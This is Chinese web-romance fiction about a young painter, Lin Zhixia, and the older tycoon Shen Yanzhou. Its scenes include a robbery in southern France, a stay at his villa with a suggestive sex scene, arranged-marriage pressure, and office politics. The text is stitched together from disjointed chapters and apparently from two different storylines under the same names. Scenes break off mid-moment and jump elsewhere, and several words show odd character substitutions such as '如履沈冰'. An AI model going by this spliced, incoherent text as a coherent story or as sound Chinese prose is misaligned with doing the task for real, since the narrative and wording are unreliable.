沈砚舟幽沉目光凝在少女泛起红晕的面颊上。 她面上倒是装得从容,只不过到底是年轻稚嫩,不会撒谎。 那颤动频繁的睫毛,红得快要滴血的耳垂,早已出卖了她。她越是摆出这样一副坦然的姿态,便越是显得欲盖弥彰。 沈砚舟勾起唇,不咸不淡开口:“林知夏。有没有人跟你说过,你只要一说谎耳朵就会特别红。” 看这天气,沈老爷子对林知夏说:“夏夏,雨太大了,你一个女孩子在路上也不安全,今晚就在这里住下吧。” 林知夏小声而委婉地拒绝:“这不太合适吧,还是算了……” “那有什么不合适的,夏夏以前不也在这里住下过吗?”沈老爷子说:“等明天早上我再让淮安送你回家。” 林知夏知道沈老爷子一方面是担心她在暴雨夜中回家不安全,一方面也是想要撮合她和沈淮安。 但现在沈家对于她来说就是虎穴狼窝,她躲沈砚舟都来不及,又怎么会留在这里? 但顶着沈老爷子热情殷切的视线,林知夏也不能落老人家面子,只能答应下来。 之前林知夏在沈家住过,只不过这一次她未被安排进之前的房间,而是住进了沈淮安房间附近的客房中。 一回到房间,林知夏立刻锁上门,拿起手机给蒋芙发了一条求救短信: 林知夏:[宝,十万火急,帮我出出主意啊,我被留在沈家了!!!] 蒋芙直接一通电话打来:“你没跑掉吗?” “没跑掉,”林知夏哭丧着小脸,将刚才在餐桌上发生的事情告诉蒋芙:“沈爷爷这么热情,我不好意思拒绝他……” 蒋芙分析道:“听你的描述,似乎那位沈三爷似乎并没有继续纠缠你的意思。” 林知夏转念一想。 也是。 毕竟那样位高权重的男人,要什么女人会没有?至于在乎她一个小丫头吗? 这般想着,林知夏稍稍把心安在肚子里。 蒋芙揶揄道:“不过我算是理解了当初你为什么会惦记他的肉体了,这人真的太帅了,这要是换了我,我也把持不住啊!” 林知夏:“……” 这里居住的酒店离这里还有很长一段距离。 身处异国他乡,她不敢在手机快要没电的情况下一个人打车回去。尤其是刚刚她还经历了被抢劫的事。 鬼使神差地,林知夏脑海里浮现出男人的脸庞。 车子在雨中穿行,一路向费拉特角半岛的半山腰上开去、进入Chemin de Saint-Hospie豪宅区,最终驶入在一栋通体皆白的别墅庭院中,在别墅大门口停下。 前座的两名外籍保镖下车,为男人和林知夏拉开车门。林知夏做完晚宴造型时,天边已是落日熔金。 空气闷热粘腻,似是暴雨的前兆。 林知夏坐在工作室的落地窗前,撑着下巴,看着远方的落日。 她身穿一身黑色织纱抹胸小礼裙,款式乖巧可爱,勾勒着她纤细娇小的骨架。她的肌肤本就瓷白莹润,黑色薄纱显得她的肌肤白到发光。 乌黑的长卷发高高挽起,玲珑小巧的耳垂上挂着夸张的流苏耳坠,更是衬托出纤长的天鹅颈。 让她做造型的主理人一次次地看向她,每看一眼,都不得不惊叹眼前少女的美貌。 在她等待沈淮安的功夫,蒋芙发来消息。 蒋芙:[那位沈三爷要回国这事前几天就在圈子里闹得沸沸扬扬的,敢情你是只专心画画,圈里的事你是一点都不关注啊。] 蒋芙:[你是不知道那位沈家掌权人有多厉害,即使在上流顶层圈子里,那也是高不可攀的存在。看似温和雅正,实则手腕狠厉果断,京北权贵圈中,无人不畏他。] 蒋芙兴冲冲地跟她科普这位位高权重的沈三爷。 蒋芙:[他是沈家最为优秀的继承人,在斯坦福大学期间便摒弃家族继承人身份,在国外独自创业。短短三年时间,便成为了首屈一指的商界大亨,登上福布斯排行榜前十,名下资产势力之庞大,甚至可以和沈家这个百年家族相媲美。] 蒋芙:[说实话,依着沈老爷子的掌控欲,不可能早早让位给儿子孙子。但那位甫一回国,紧跟着老爷子便将偌大的沈家拱手相让给这位沈三爷。可见此人手段和能力之强势,绝非一般人能够比拟。] 林知夏光光是自家老爷子说,便知道这位沈家三爷是个不好惹的人物,如今跟蒋芙聊过之后,更是明白这人不是她能轻易得罪起的。 她心想,等下见了面,一定得在这位三叔面前好好表现,给人留下个好印象。 林知夏没有想到他会直接将自己带进豪宅区最奢华的地段。 但她也没有多问,毕竟论两个人的关系她还没有这个资格。 一进主厅,便有白人管家和仆佣上前,管家中文流利,“先生,您回来了。” 别墅的主厅宽敞奢华,地板上铺着波斯地毯,墙上的壁画与装饰精美、家具典雅,昭示着别墅主人的财气与不俗的品位。 林知夏沉默地换下鞋子,脸颊绯红,心中情绪微妙。 毕竟她真的只是一时的上头,跟着男人来了这里。 在此之前,她还从未做过这样大胆的决定…… 一时间不免有些紧张。男人箍着她腰肢的手臂紧绷,渐渐收紧,将她往怀里压了压。 她的脸颊被手指捏住,张开唇。那沾染着水露的睫毛轻轻颤抖。 那揽着她腰肢的手缓缓摩挲着她娇嫩的肌肤。那带着薄茧的掌心灼烫,所到之地都带起燥动的火星,将她点燃。 异样的酥麻感传遍林知夏的四肢百骸,但偏偏她的小腿被他的大掌禁锢住,动弹不得。 她整个人都是一朵藏着雨的云,绵软洁白,轻轻一挤,便是一场绵绵细雨。 但即便经过了细致的调/情,在最终来临的那一刻,林知夏还是发出可怜兮兮的呜/咽。 那瓷白的小脸轻轻抬起,露出脆弱的脖颈,像是要奉献自我的羔羊。 沈砚舟抱住了她,爱怜地亲着她右眼睑下方的小红痣。 他骨节分明的手指轻轻揉开她紧攥着的掌心,缓缓插入她的指缝中,感受着她掌心的潮意,与她十指相扣。 林知夏被他用力地抱着,感受着他身上那灼人的温度以及淡淡的木质香,眸光渐渐涣散。 突然男人动作停住,粗重地喘着气,喉咙溢出的嗓音异常沉哑:“知道要叫我什么吗?” 他灼热的气息喷薄在她敏感的耳后肌肤上。林知夏目光懵懂地看着他,大脑还停留在方才极致的快乐之中。 “沈……沈先生?” 男人微笑,温柔而精准地给予了她应得的惩罚,重且深。 林知夏身体轻颤,脚趾止不住地蜷缩。 半晌,她才想起男人的名字,声音颤颤的:“沈……砚舟?” “乖女孩,”男人眼尾上扬,薄唇在她的颈侧流连,细细地吻着她的细颈,“叫着我的名字。” 她偷眼去瞧男人。 而男人正慢条斯理地脱着外套,他下颌微抬,食指勾着领带松了松。 动作从容,带着几分散漫松弛。 莫名地更欲了些…… 见她傻乎乎地盯着他看,男人微微勾唇:“在检查有没有其他人来过这里?” 林知夏回过神,脸又不争气地热了起来。 她眨了眨眼,转移话题:“不是……我是在想该怎么称呼你。” “沈砚舟,我的名字,”他顿了顿:“那公平起见,你能否告诉我你的名字呢?” 林知夏犹豫了下,“我叫……林夏。” “林夏。”沈砚舟缓缓地念出口,一字一顿、字正腔圆。虽然只是个假名字,却听得林知夏耳尖发烫。 他的视线漫不经心地锁定在她脸上,眼神意味深长。 被他这么看着,林知夏突然有种说谎话被拆穿的感觉。 奇怪明明他又不认识她,她心虚什么劲? 林知夏揉了揉耳朵,冲他腼腆笑了下,声音中却带了一丝试探:“对了,沈先生,我今晚住哪里?” 沈砚舟笑容温雅:“这里房间很多,你住哪间都可以。” 他这般客气绅士,似是真的只是好心将她带回家,并无其他的念头。 林知夏垂下眼:“那你看着安排吧。” 乌沉的天空陡然劈过一道闪电,紧跟着便是闷雷滚滚,滂沱大雨。 雨幕之下,整个世界都笼罩在一种模糊而迷离的晦暗之中。 一阵风猛烈地刮过,吹入密密麻麻的雨。 那带着碎花的波西米亚长裙被吹起、被打湿,裙边湿淋淋地贴在林知夏的小腿上,宛若翅膀破碎、无法挣扎的蝴蝶。 下雨天,路上的车都少了许多。当老战友再次拨来电话时,林老爷子提出了这件事。 沈老爷子打包票道:“还是先让这两个孩子走走看……不过老战友你放心,就算是最后两家不能联姻,沈家也会好好护着知夏这个孩子的,不会让她受半点委屈。” 在和林老爷子聊过几句后,沈老爷子这边挂断电话,看向坐在一旁的沈砚舟,摆摆手,重重地叹气。 “行了,关于秋鸿画廊投资这个项目你放手去做,反正我早也管不了你了。不过我可警告你,你特地安排人留了个名额是打算做什么?捧人?你最好可别给我闹出包/养丑砚来。” 沈砚舟淡淡地笑了,没有答复,倒也没立刻起身。 沈老爷子没好气:“你还不走?” “既然知夏不没有看中淮安,你们又何必强求这门婚事?”沈砚舟平静斟茶,状似漫不经心地问道。 “不行,我可答应了你林叔,得好好照顾他外孙女。”沈老爷子有些执拗:“而且你那些侄子辈里,还有谁能比淮安更优秀?更能配得上知夏?” 沈砚舟表情平静地给老爷子倒了杯茶,意味不明:“也不一定非要侄子辈照顾。” “你这话什么意思,”沈老爷子若有所思地看向沈砚舟,“总不能让叔叔辈来照顾吧?” 林知夏站在警局门口好久,也不见大雨止歇。 她担忧地看着黑屏了的手机,心中已经做好今晚要在警局里过夜的准备。 毕竟她和他也不过是一面之缘。 就在林知夏犯难之际,前方有车灯亮起。 两簇白光破开昏沉的雨雾,一辆黑色加长轿车出现在她的视线中。 车在警局门口的复古路灯旁稳稳停下。 后座车门缓缓打开,男人长腿跨出车门,纤尘不染的皮鞋踩在地上,沾上了雨水。 隔着朦胧的雨帘,林知夏对上男人镜片后那深邃的黑眸。 他撑着一把黑伞朝她信步走来。 路灯亮着昏黄的光晕,照亮男人挺拔修长的身影。 林知夏被这一幕晃了眼,只感觉像是电影中的慢镜头般,令人心跳加速。 他走到她面前,伞面将她笼罩住。 伞柄细长,泛着金属的银白。 但更加贵气的却是绅士那握着伞柄的手—— 冷白修长、骨节分明,手背透着清晰明显的青筋,看着性感而欲/气。 站在一起时,林知夏这才发现男人居然这么高。 她才堪堪到他的肩膀,整个人都被他衬得小小的。 “走吧。”男人淡淡道,声音被淅淅沥沥的雨声衬着,带着几分清冷感。 “好。” 她揣着一颗剧烈跳动的心脏,跟在男人身后,朝着车子的方向走去。 第 22 章 第二十二章 室内气压低沉,在场众人个个屏气凝神,大气不敢喘一下。 郑驰更是被男人撂过来的冷淡眼神,吓得浑身发抖,手脚冰凉。 刚才还在包厢内和沈砚舟谈生意的郑董脸色绷不住了。 不为别的,就是因为那个调戏林小姐的混账玩意是他的私生子。 今天这局本是他为了和沈氏合作而托人组的。本来饭局上生意谈得好好的,不成想,全都砸在这个混账玩意手里了。 郑董上前,抹了把额头,讪讪地赔着笑:“对不住啊三爷,我家这混账小子就是满嘴胡吣,他这事这话做的说的都不对,我代他向您赔不是。” 不知为何,在郑董说完这话后,周围温度更是冷了几分。 郑董缩了缩脖子,转过身横了一眼郑驰,厉声道:“滚过来道歉!” 刚刚还嚣张至极的郑乾等人,这会儿个个面色惨白。出了咖啡馆,林知夏朝着帕洛玛海滩走去,偶尔用相机去拍一些有趣好玩的东西。 此时已是黄昏时分,落日熔金,波光粼粼的海水映着连绵不断的淡金、淡红的霞云,天幕是由浓金过渡到淡紫的色彩。 海滩、棕榈树、晚霞、游客、游艇、灯塔……共同交织一幅热闹非凡的画面。 林知夏站在海滩上,湿咸的海风拂起她的长发。 她举起相机对着山上拍照。透过镜头,她可以看到在阿尔卑斯山脚下的棕榈树掩映中,隐约露出的别墅豪宅区。 等她走累了,便找了处地方坐下,将方才拍下的照片分享给闺蜜。 许是正在熬夜,照片发过去没过一分钟,蒋芙就打来了视频电话。 蒋芙:“宝,在圣让卡普费拉玩得如何?” 林知夏心情极好地与闺蜜分享这几日的经历。 蒋芙:“嘿嘿,有没有遇到什么艳遇?” 林知夏脸一红,不知为何脑海中浮现出那矜贵温雅的身影。 林知夏:“倒是遇到了一个男人。” 蒋芙只是随口打趣,没想到闺蜜居然还真的有了艳遇。” 蒋芙:“快快快!详细讲讲,能被你怂夏夏称之为艳遇的男人该有多帅?!” 林知夏有些不太好意思:“我想画他的人体。” 蒋芙:“实话实说哈,你究竟是想画他的人体呢?还是想要睡他呢?” 方才男人唇角那一抹笑在她脑海中浮现,林知夏耳朵越来越红,她试图转移话题: 林知夏:“我画了一张他的速写,你要不要看看?” 蒋芙:“速发,让我看看这个神仙男人究竟长什么样!” 林知夏放下包,正要从拿出速写本,没想到身边路过的一位白人青年突然暴起,朝她冲来,夺过她的背包就要跑。 林知夏下意识伸手,抓住包带,可当触及到对方略带凶狠的目光时,她瞬间没了胆子,抓着包带的手也松开。 见林知夏松手,对方趁机抢过她的包,钻入了熙攘的人群,不一会便没了影。 “夏夏你怎么样,没事吧!” 电话中传来蒋芙担忧的声音。 林知夏摇头:“我没事,但是包被抢了。” 她所有的证件、钱包、相机还有那本速写本都在包里…… 他平日里仗着郑家的庇护嚣张惯了,怎会想到终有一日他会踢到铁板上,居然惹到了不该惹的大人物。 这下好了,连他爹都救不了他了。豪车内,沈砚舟淡淡收回视线。 后迈巴赫再次启动,落下的车窗渐渐上升。 沈砚舟叠着腿,抖出支烟,衔在唇间。 “咔嚓。”小鸢尾:【Ethan先生,我收到了您的颜料,十分感谢您!】 林知夏本以为这个点了,对方已经睡下了,没想到对方秒回,显然是还未入睡: Ethan:【在国内怎样】 小鸢尾:【还不错了。】 Ethan:【近期没有新作】 有,但都不是很好…… 不……倒是有一幅油画,很有感觉。 林知夏看着面前的画作,想了想,还是将画作拍下,发了过去。 小鸢尾:【这是新作,但只是私人收藏,不卖也不展出。】 她特地强调这点。 毕竟当事人还不知道她私下里偷偷画了这样一幅作品。 而且她也不想让对方知道…… 没过多久,Ethan先生发来消息:【这人是】 林知夏想了想:【《我尊敬的叔叔》】 银质打火机划开,火光跳起的一刹那,照亮了男人深隽的眉眼。 沈砚舟抽了一口,缓缓吐出白色烟雾。 “和郑家的合作取消。”他面无表情地弹了弹烟灰,漫不经心地说道。 “好的。”从刚才便一直坐在前排闭口不言的周特助应声。 “其他的都调查清楚了”沈砚舟问。 周特助为人做事滴水不漏,从在会所中遇到林知夏的那一刻,就已经开始着手调查今晚之事了。 他小心翼翼地向沈砚舟汇报:“调查清楚了,今晚知夏小姐和里森画廊谈合作,本该是淮安少爷来接知夏小姐回林宅。 但淮安中途和谢家那位谢小姐去了京荣拍卖会……而且就在方才,淮安少爷还拍下了价值五百万的红宝石项链哄那位谢小姐开心。” 烟在修长清瘦的指骨间静静燃烧着。 沈砚舟面上喜怒无澜,,难辨情绪,但周身的压迫感却是越来越强。 突然,沈砚舟蓦地笑了,“他倒是有那个闲情逸致。” 他醇厚嗓音中带着冷意,听得周特助忍不住一抖。 周特助屏气凝神,越发地小心谨慎:“那您现在……” “回老宅。”飞机抵达尼斯的时候,正好是下午五点。 刚下飞机脱离了空调,热浪便滚滚而来。 和巴黎的温和不同,南法的温度炽热得像是一团旺盛的火。 经纪人打来电话的时候,林知夏刚下飞机。 “Iris,我可算打通你电话了,你现在在哪?” “埃文,”林知夏回复:“我正在毕业旅行呢。” 前不久,她刚刚结束自己的留学生涯。 “你知道你的《蓝鸢尾》在国际艺术拍卖会上卖了多少?五千万!”电话那端传来经纪人的尖叫,“买你画的那位买家指明了要见见你,就是你一直想见面的那位Ethan先生!” 听经纪人提到Ethan先生,林知夏一个激灵,“是他要见我吗?” 早知道Ethan先生会要见她,她也不会这么匆匆离开巴黎。 她懊恼地咬着唇,“可是事已至此,我也不能马上返回巴黎。” “哎,只能算了,反正日后这样的机会还有很多。”经纪人痛心疾首道。 在结束和经纪人的通话后,林知夏点开“whatsApp”,看着置顶的聊天头像,咬了下唇。 她在通话栏输入—— 小鸢尾:【Ethan先生,我的经纪人说,您又买下我的画了。】 没过几分钟,对方回复: Ethan先生:【嗯。】 小鸢尾:【Ethan先生很抱歉,我目前在毕业旅行,这次不能与你见面了。】 发过这条短信后,林知夏想了想,斟字酌句地在聊天框里输入:【等我回巴黎,我们再见面如何?】 但很快她又将这些话一一删除。 就在林知夏犹豫时,对方的消息再次发来。 Ethan先生:【你去哪里?】 林知夏眨眨眼,不太理解对方为什么这么问,但她还是老老实实地回复了。 小鸢尾:【圣让卡普费拉。】 Ethan先生:【我知道了。小朋友,毕业旅行快乐。】 林知夏有些害羞,只感觉“小朋友”这个称呼过于宠溺。 小鸢尾:【谢谢Ethan先生。】 简单地几句聊天过后,对方再也未曾回复什么,应该在忙吧…… 林知夏叹了口气,心中不禁有些失落。 她终究还是没有把自己想说的话发给这位一直在照顾她的老绅士,她的忘年交。 哎,好不容易能有与他见面的机会,就这样错过了。 沈砚舟将烟摁在烟缸,用力碾了碾。 镜片后的眸光也随着火星的冷寂而沉了下来。 周特助恭敬应声,并在心里默默骂了沈淮安一句。 活该啊! 若是今晚先生没有及时出现,恐怕知夏小姐还指不定会遭遇什么。 黑色迈巴赫在溶溶光影中掠过,最终猩红的尾灯没入这繁华的夜城。 郑驰内心惶恐到极点。他哆嗦着地上前,面上露出比哭还要难看的谄媚笑容,点头哈腰地连声致歉。 “三爷,对不住,求您高抬贵手,原谅我这一次……” 沈砚舟面上无波无澜,看不出情绪。 他站在林知夏身旁,垂眸,骨节清晰的大手握住林知夏的小手,用手帕细致地擦拭着少女的手指。 他似是全部心神都放在女孩身上,一分都没匀给旁人,却依然令周围人感觉到无形的压迫感。 空气骤冷,陷入沉寂。 郑董脸上挤出来的笑容凝固,像是被人兜头盖脸地扇了一巴掌。风雨过后,别墅花园内泛着淡淡的泥土清香和鸢尾花的香气,清新淡雅。 昨夜下着暴雨,视线模糊不清,林知夏也没能好好看看这座漂亮的别墅花园。 趁在等车的空,林知夏打量着四周。 别墅中的绿岛上,种着她所钟爱的香根鸢尾花。 阳光透过喷泉飞溅起的水珠,落在香根鸢尾那绒绒的花瓣上。 浪漫而柔和的蓝紫色调铺满整个花园,柔和的风轻轻吹过,带起层叠起伏的淡紫色的浪,复古的白色雕塑立于浪中,宛如油画般动人。 无论是盛开的鲜花造型还是雕塑都是十分精致,足以看出别墅主人的艺术品味之高。 这里真美。 也不知道在这样的庭院中画画会是一种什么感受。 没过几分钟,送她的车开了过来。 正要拉开后座门,林知夏就看到沈砚舟拉开副驾驶座旁的车门,含笑看向她。 林知夏尴尬地笑笑,只好坐到副驾驶座上。 数秒,郑董转身,“啪”一巴掌甩在郑驰脸上,“你给我好好向林小姐道歉!” 这个不孝子,他老子在前面和沈家谈生意,他居然连沈砚舟的人都敢调戏上了。 骂完郑驰后,郑董谄媚地朝着林知夏笑了笑,“林小姐,不好意思,都怪我教子无方,给您添乱了。” 郑驰彻底后悔了,也知道,自己这是给郑家惹了块大麻烦,现下当真是悔不当初。 他捂着脸,脸色惨白,唯唯诺诺道:“林小姐对不起,刚才是我混账了,我跟您赔不是。您刚才也甩了我一巴掌,您要是还不消气,就再扇我几巴掌。” 所有人的注意力都集中在被沈砚舟挡在身后的女孩身上,等待着她的表态。 林知夏悄悄抬眼打量着沈砚舟。 他面色温淡,喜怒难辨,只不过握着她手腕的大掌紧了几分,显然他是在动气的。 察觉到她的注视,沈砚舟垂眼,轻轻地捉住少女的视线,那镜片下泛着冷意的黑眸中划过一模温色。 被他这般看着,林知夏心中便越发地慌乱不安,胸腔内的心跳声不合时宜地愈发骤烈,好像有什么东西将要破壳而出。 她避开沈砚舟的视线,声音坚定,没有半分犹豫:“他抢我手机,阻止我报警,试图对我进行性骚扰。我要报警!” 第 23 章 第二十三章 沈氏集团总部,一场会议结束,众人鱼贯而出,沈砚舟仍旧懒散的坐在椅子上,听着高成汇报接下来的行程。 “惠达那边愿意再让零点五个点,想问问您有没有时间见个面,详谈一下。” 这是最近资金数额最大的项目,但沈砚舟却迟迟不愿意露面,数十亿的资金额好像在他眼里不值一提。 这次他终于松口了。 “安排个时间吧。”他淡淡道。 高成赶紧点头,迟疑了一下又开口,“刚刚老太太来电话,问您什么时候回去。” 沈砚舟垂了一下眼,面容冷峻了些,他没说话,只是懒怠的抬了一下手。 高成会意,点点头出去了。 从会议室离开,高成长长叹了口气。 沈总年逾三十,却连个女朋友都没有,老太太一天几个电话催,沈砚舟根本不理会,反而是高成夹在中间快吐血了。 他蓦地突然想到了林知夏。 如果说沈总这些年对哪个女人特殊些,怕是只有这位林小姐,可惜…… 这位林小姐此刻正自顾不暇。“这家怎么样。” 林洁把手机递给林知夏看,“两室一厅,坐北朝南。” 林知夏皱了一下眉头,“七楼,步梯,太高了吧。” “也是哦。” 两个人下周就要一同入职,思索了一下,S市房价这么贵,不如合租。 “这个呢,这个公寓不错。” “可以啊,我们一会儿去看看。” “林知夏!”隔壁一个同学探头进来,“宿舍楼下有人找。” 林知夏皱了一下眉头。她平时少言寡语,除了林洁几乎没朋友,谁能找她。 蹭蹭蹭下了楼,看见站在楼下的林月,林知夏脸色顿时难看两分。 “姐姐!”林月看见她,几步跑过来,“你这几天怎么都不回家,爸妈给你打电话也不接。” 林知夏脸上没什么表情,“有事吗?” “爸妈都很想你,我就是……” “林月,这里没有爸妈,你不用做戏。”林知夏打断她的话,“怎么,急着叫我回去相亲吗?” 林月挑了一下眉,静静的看了林知夏两秒,突然笑了,“你知道爸妈为什么讨厌你吗?你总是这个冷冰冰的性子,不会撒娇,不会说软话,像个木头一样。” 林知夏并没有因为林月的话而动怒,一直面色平淡。 林月指尖勾着头发,慢条斯理道,“今天是爸叫我过来的,任务我也完成了,友情提醒一句,商业联姻,可不是你想躲就能躲得掉的。” 林知夏眼神微冷。 回到宿舍,林洁见林知夏面色不太对,试探着问了一下,“是谁找你啊?” 林知夏语气淡淡,“不相干的人。” “那我们还去看房子吗?” 林知夏停顿两秒,“当然看。” 折腾了一整个周末,两个人终于赶在周一入职前把房子敲定,顺利入住进去。 林洁抱着整理箱叹气,“这么快就离开学校,还有点不适应。” 林知夏笑了一下,正打算说什么,突然手机震动。 来电显示是一串陌生号码。 林知夏迟疑了两秒接了起来。 “林小姐您好。我是高成,之前见过的,沈总的秘书。” 林知夏连忙道,“高秘书好,有什么事吗?” “是这样的,您上次……是不是带走了一件沈总的衬衫。” 林知夏一顿,头皮有点发麻,赶紧说,“我已经洗干净了,打算还回去的,但最近比较忙,我还没抽出时间。” “没关系的林小姐,您这两天有空吗?” 高成微微侧身,看了一眼坐在宽大办公桌后的男人。 那天刚刚开完一场紧急会议,沈砚舟突然告诉他让他联系家政,不要丢掉那件衬衫。平时各个住处的衣服基本上不会清洗,而是直接换新的。 高成不明所以,但也赶紧联系了家政,而后才知道,那件衣服被林知夏带走了。沈砚舟当时点点头没说什么,隔了两天却突然让高成给林知夏致电,问她什么时候把衣服送回来。 “这样吧高秘书,麻烦给我一个地址,我叫同城快递送过去。” 高成一顿,他跟了沈砚舟这么久,对于男人的心思偶尔也能揣测一二,知道男人要的绝对不仅是衬衫。 “这件衣服是SGKL的新季走秀款,价值大约六位数,快递的话怕是……您如果有空,还是亲自送一趟吧。” 听了这话,林知夏后悔的快吐血了。 早知道就不拿回来了,居然这么昂贵! 她捏紧手机,有些慌张,“我不知道……我,我现在就送过去!” “麻烦林小姐了,地址我发您手机里。” 挂了电话,高成转身微微欠身。 听了全程的沈砚舟面色淡淡,窥不出一丝别的神色。 “我记得临林那边开了家新的空中餐厅。” 高成飞速道,“我去安排。” 沈砚舟微微点了一下头,手下钢笔微动,在合同尾页签了名字,仿佛刚刚的事不过是一个小插曲。 刚刚林月来给她送饭的时候,奚落的说今晚父亲就会邀请那家人来家里吃饭。 林月微笑,“听说要给你们先订婚呢,恭喜啊姐姐。” 林知夏冷着脸看着林月,“怎么,还要绑着我去领证不成?信不信我报警。” 林月像听见了什么好笑的笑话。 “这当然是不能强迫的,不过姐姐,听说你入职晶城了,父亲和晶城的总经理是朋友,你的工作还不是他一句话的事。当然了,一个工作嘛,丢了就丢了,不过你要是不听家里安排,你在S市,将会找不到一份工作。” 林知夏心里微微发冷,没再说话。 等林月洋洋得意的离开后,林知夏沉默片刻,她不能再坐以待毙,可是她连房门都出不去,她要怎么离开。 顿了顿,林知夏把目光放到了一旁的窗户上。 几分钟后,二楼的窗户被推开了,一道长长的用床单扭成的绳子顺下去。 林知夏有点紧张,心跳的砰砰的。 她咬了一下牙,攥着床单绳的一头,鼓起勇气一点点爬了下去。 绳子短了一块,到最后的时候,林知夏是蹦下去的。 落地的一瞬间,脚下没站住,崴了一下。 可林知夏顾不上脚踝的疼痛,连忙一瘸一拐的赶快跑走了。 从别墅区出来,林知夏飞快在路边拦了一辆车。 因为太过紧张害怕,林知夏现在浑身都是发抖的,颤颤巍巍的报出了地址。 司机迟疑了一下,往林知夏脚踝看了一眼,“不去医院吗?” 林知夏低头一看,这才发现脚踝那里被划破了,还流着血,刚刚太紧张她竟然都没有察觉。 她顿了一下,“那去最近的医院吧,麻烦了。”看着男人走后,林知夏心底才微微松了口气。 和这么一个平时只能在商业新闻看到的总裁坐在一起,确实蛮有压力的。 林知夏把空杯子冲洗了一下,才起身去了浴室。 水声哗啦啦的响起,林知夏抬手拿着置物架上一瓶沐浴液,挤了一点在手上,顿了一下,低头闻了闻。 很清淡的香味,但却不是沈砚舟身上的沈荷味。 林知夏说不上是失望还是什么心情,垂了一下头,匆匆的把澡给洗了。 从浴室出来,林知夏原本是裹着浴巾,推开门却看见门口柜子上放着一件白色的衬衫。 是沈砚舟给她拿的么。 林知夏犹豫了一下,就拿着衬衫换上了。 男人比她高大许多,衬衫穿在身上已经快到了膝盖,露出笔直的一双小腿。 身后脚步声响起,沈砚舟端着咖啡杯,目光在林知夏身上顿了一下。 林知夏有些不自在的拽了一下衬衫,“谢谢沈总。” “头发怎么没吹干?” 听到男人的问话,林知夏抬手摸了一下还有些湿漉漉的长发,“没事,我习惯了。” “会头痛。”沈砚舟不赞同的皱了一下眉头,“就算是年纪小也不能随便糟蹋身体。” 林知夏下意识抬头看了一眼男人。 沈砚舟换了一套家居服,黑色丝绒的布料,显得男人没有穿正装时那么冷漠威严,反而像是英式古堡的贵公子,眉眼深邃,瞳孔漆黑,垂眼看她时又冷意稍褪。 “沈总。”她眨了眨眼,“您多大年纪啊。” 沈砚舟鲜少的怔了一下。 大部分人在他面前都是谨小慎微如履沈冰,一句话要斟酌四五遍才敢说出来,可面前少女是个特例,每句话都直白的过分。 他眼底带了点笑意,“怎么了?我看着很老?” 林知夏诚实的摇摇头,这倒是确实没有,男人容貌俊朗,绝对足够帅杀一众明星。 “就是感觉像……”林知夏顿了一下,“和我差一个辈。” 几次三番叫她小姑娘,说话做事的语气像个长辈。 这下子沈砚舟是真的笑了出来。 他屈指敲了一下在林知夏的额头,“吹干头发,早点睡觉。” 因为男人这句话,这一晚林知夏都没怎么睡好。 迷迷糊糊到后半夜,她干脆翻身坐起来,找出耳机戴上,听了一个很喜欢的CV配的广播剧催眠。 对她一个重度声控来说,这招从前百试不灵。 可不知道是不是听过沈砚舟的声音,此刻再听这些CV的声音,只觉得粗制滥造,和男人的声音简直一个天上一个地下。 如果不是还有一丝理智尚存,林知夏都快忍不住跑到隔壁把沈砚舟摇醒,让他多说两句话哄自己睡觉。 失眠的后果就是第二天理所当然的起晚了。 她揉了揉眼睛,推着门出去,嘴里还打着哈欠,待看清站在客厅的男人,微微僵住。 沈砚舟换了一套新的西装,旁边站着上次见过的那个高先生,正手里拿着几个文件,低声与沈砚舟汇报。 突然开门闯入的林知夏显然都惊到两个人了。 沈砚舟率先反应过来,往前走了一步,高大的身躯正正好挡住了林知夏身影。 高成飞快回过神,赶紧转身,“那沈总,我先出去了。” 关门声响起,林知夏才像猛的回过神,一瞬间红意漫上了耳尖。 经过一夜的翻来覆去,身上的白衬衫变得皱皱巴巴,领口的扣子开了两颗,露出白皙精致的锁骨。这幅样子从卧室出来,说没发生点什么也不会有人信的吧。 林知夏磕磕绊绊的开口,“对不起,会不会误会,我——” “没事,他是我的秘书。”沈砚舟垂眸看她,眸色暗沉,声音低哑,“吵醒你了吗?” 林知夏赶紧摇头,有些不好意思道,“抱歉,是我起晚了。” “没关系。我安排了司机在楼下等你,不必着急,桌子上有早餐,记得吃了再走。”沈砚舟低头看了一眼手表,“我还有个会,就——” “沈总您忙。”林知夏夸张的鞠了个躬,“多谢您昨晚收留我。” 沈砚舟盯着林知夏头顶翘起来的一缕头发多看了两眼,微不可查的勾了一下唇角,“好,那,再见。” 他没再提名片以及让林知夏再联系他的事。 男人走后,林知夏用力的松了口气,赶紧跑回房间把衣服换了。 看着换下来的白衬衫,林知夏犹豫了一下。 一方面出于礼貌,她应该洗干净再还给沈砚舟。可另一方面,又觉得男人或许压根不在意这件衬衫,更何况,不是每天都有家政阿姨来收拾吗? 纠结再三,林知夏还是把衬衫塞进包里准备带回去洗一下。 匆匆回了学校,才刚进宿舍的门就听见林洁的大叫。 “天啊!!我收到offer了!!”张文走后,林知夏心虚的想把杯子收起来,想了想,又没动,反正别人看见了,也只会和张文一样认为她拿的是个假的。 这么一想,林知夏心里放松了一点。 两天没来,她这儿堆了不少活,林知夏略微整理了一番,便先拿着刚刚张文送过来的文件去找主管签字。 办公室里,主管接过文件,随口问林知夏的脚怎么样了。 “已经好的差不多了。” 主管点了一下头,正要让林知夏出去,突然不知道想到什么,看着林知夏笑了一下,“你还记得何总吧,上次你去给他送文件,他对你印象很深刻,说你工作能力很强。” 林知夏一怔。 上次?是在高尔夫球场那次?可她那天不舒服,送文件是张文去的,她压根没看到何总。 但主管都这么说了,她只能配合着点了一下头,客气的微笑,“谢谢主管,谢谢何总。” 主管笑眯眯的,“这样,你帮我把这个策划报告给何总送过去?” 林知夏一愣,“我去?可是这个策划案不是我负责啊。” “没事,就是麻烦你帮我跑个腿。”主管笑了笑,“我手头还有别的活呢,忙不开。” 话说至此,林知夏只能硬着头皮答应了。 帮忙跑腿到主管这儿,转而又接了一个跑腿的活。 林知夏叹了口气,拿着报告上了楼,去敲了何总办公室的门。 何总分管几个部门,其中就有他们企划部,但林知夏只是一个刚入职的新人,没与何总打过什么交道。 她敲门进去后礼貌问好,本以为把策划放在桌子上就可以走了,没想到何总居然当场翻看了起来。 林知夏有些尴尬的站在原地,不好立刻离开。 一页页报告看过去,何总脸色愈发难看,而后猛的拿着文件往桌子上一摔,发出“嘭”的一声,吓了林知夏一跳。 “你们企划部就拿这些东西来糊弄我?!” 林知夏下意识辩解,“何总,这个策划不是我弄的。” 何总本就在气头上,听了林知夏的话更是火上浇油,冷喝一声,“你是不是企划部的?只要你是企划部的,这个策划就有你的一份,东西东西做不出来,推卸责任倒是很快!” 